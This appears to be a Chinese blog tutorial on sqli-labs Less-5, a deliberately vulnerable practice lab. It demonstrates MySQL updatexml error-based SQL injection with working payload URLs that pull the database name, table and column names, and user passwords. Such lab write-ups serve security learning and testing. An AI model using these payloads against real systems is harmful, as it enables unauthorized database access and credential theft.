数据库
首页 > 数据库> > sqli-labs第5关updatexml报错注入

sqli-labs第5关updatexml报错注入

作者:互联网

   这里选用的是第五关进行演示,首先根据页面提示输入?id=1页面返回的都是正常,输入?id=1'时,页面报错了,

 

 

 

 

 

 

 

 

接着判断字段数,这里选择用?id=1 order by 1--+是不行的

 

 这里选择用updatexml报错注入进行演示:注入之前,首先得明白updatexml函数的利用方式以及函数语法。

updatexml()

函数语法:updatexml(XML_document, XPath_string, new_value);

适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

我们通常在第二个xpath参数填写我们要查询的内容。

与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

payload:

前后添加~使其不符合xpath格式从而报错。
updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白

存在注入,利用updatexml函数,构造payload:?id=1' and updatexml(1,concat(0x7e,version()),1)--+

 0x7e就是一个波浪线符号 :  ~

 

 获取数据库名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),0)--+

 

 爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+

 

 发现回显数据超过1行,无法显示。这个时候limit函数的作用就出现了limit函数
limit 0,1, 从表中的第0个数据开始,只读取一个为了更好明白limit函数作用,先在mysql中看一看全表

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)--+

 

 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)--+

 

 上述是通过limit()函数进行一个一个的获取表信息,这里也可以一次性获取表信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security'),0x7e),1) --+

 

 接下来获取列字段信息:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and  table_name='users'),0x7e),1) --+

 

 现在已经得到所有表名,下一步去获取users表中的列名,同上面一样,使用limit获取列名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 13,1)),0)--+ 

 

 进行获取第13位用户名的   密码

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 13,1)),0)--+ 

 

 

 

 

 

标签:0x7e,labs,sqli,报错,select,updatexml,table,id,concat
来源: https://www.cnblogs.com/linyu51/p/16598303.html